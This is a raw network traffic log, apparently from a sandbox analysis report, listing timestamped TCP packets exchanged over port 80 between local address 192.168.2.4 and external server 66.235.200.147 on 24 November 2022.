Nov 24, 2022 13:27:50.292534113 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292551994 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292568922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292572021 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292587042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292603016 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292604923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292623043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292639017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292653084 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292655945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292674065 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292690039 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292690992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292711020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292716980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292749882 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293103933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293127060 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293145895 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293160915 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293190956 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293289900 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293349028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293378115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293397903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293401003 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293425083 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293441057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293445110 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293468952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293486118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293502092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293514013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293518066 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293533087 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293550014 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293565989 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293581009 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293596983 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293606997 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293615103 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293636084 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293642998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293659925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293677092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293693066 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293699980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293709993 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.293735027 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.293781996 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.310126066 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310158014 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310216904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310230017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.310241938 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310271978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310283899 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.310314894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310339928 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310360909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310378075 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.310384035 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310405970 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310420036 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.310462952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310463905 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.310482979 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310498953 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310516119 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310534000 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310564041 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310581923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310597897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310615063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310631037 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310647964 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310662985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310693026 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310746908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310808897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310887098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.310961962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311019897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311039925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311057091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311074018 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311093092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311110973 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311129093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311146975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311163902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311181068 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311194897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311212063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311228037 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311244011 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311260939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311276913 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311292887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311309099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311325073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311341047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311357021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311374903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311392069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311408043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311424017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311439991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311456919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311472893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311489105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311505079 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311527967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311543941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311559916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311577082 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311600924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311629057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311688900 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311741114 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311789036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311852932 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311906099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311940908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311959028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311976910 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.311994076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312011003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312027931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312043905 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312060118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312076092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312092066 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312108994 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312124968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312141895 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312158108 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312174082 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312191010 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312207937 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312223911 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312241077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312258959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312275887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312293053 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312310934 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312716961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.312817097 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.312906981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.312917948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313015938 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313040972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313062906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313069105 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313086987 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313121080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313122988 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313147068 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313169003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313174009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313190937 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313214064 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313227892 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313251972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313265085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313297987 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313318968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313340902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313349009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313376904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313400030 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313404083 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313421965 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313443899 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313452005 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313466072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313488007 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313494921 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313535929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313558102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313570976 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313589096 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313628912 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313683987 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313739061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313747883 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313927889 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313930035 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313954115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313975096 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.313985109 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.313997030 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314026117 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314035892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314058065 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314079046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314095020 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314100981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314122915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314132929 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314145088 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314193010 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314197063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314218998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314239979 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314248085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314263105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314291000 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314325094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314347982 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314371109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314383984 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314392090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314414024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314430952 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314436913 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314459085 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314460039 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314482927 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314503908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314524889 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314543009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314555883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314584970 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314625025 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314690113 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314728975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314862967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314909935 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.314920902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314944983 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314965963 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314986944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.314999104 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315010071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315031052 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315043926 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315068960 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315084934 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315115929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315139055 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315160036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315181971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315182924 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315210104 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315217972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315241098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315263033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315274000 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315285921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315306902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315327883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315337896 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315377951 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315378904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315402031 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315423965 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315432072 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315444946 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315468073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315481901 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315504074 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315521955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.315527916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.315581083 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.316085100 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.316428900 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.332880020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.332931042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.332954884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.332983017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333008051 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333039999 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333050966 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333077908 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333112001 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333157063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333267927 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333323002 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333323956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333349943 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333372116 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333394051 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333401918 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333416939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333439112 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333448887 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333462000 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333484888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333503008 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333508015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333530903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333544016 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333554029 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333575964 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333595037 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333597898 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333621025 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333630085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333642960 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333661079 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333671093 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333683014 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333705902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333726883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333749056 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333753109 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333770037 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333791971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333807945 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333813906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333848000 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333889008 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.333949089 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.333987951 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334106922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334156990 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334161043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334186077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334208012 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334229946 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334240913 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334250927 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334274054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334289074 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334297895 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334328890 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334331036 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334357977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334386110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334395885 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334414959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334444046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334448099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334475040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334498882 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334521055 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.334521055 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.334543943 CET	80	49701	66.235.200.147	192.168.2.4
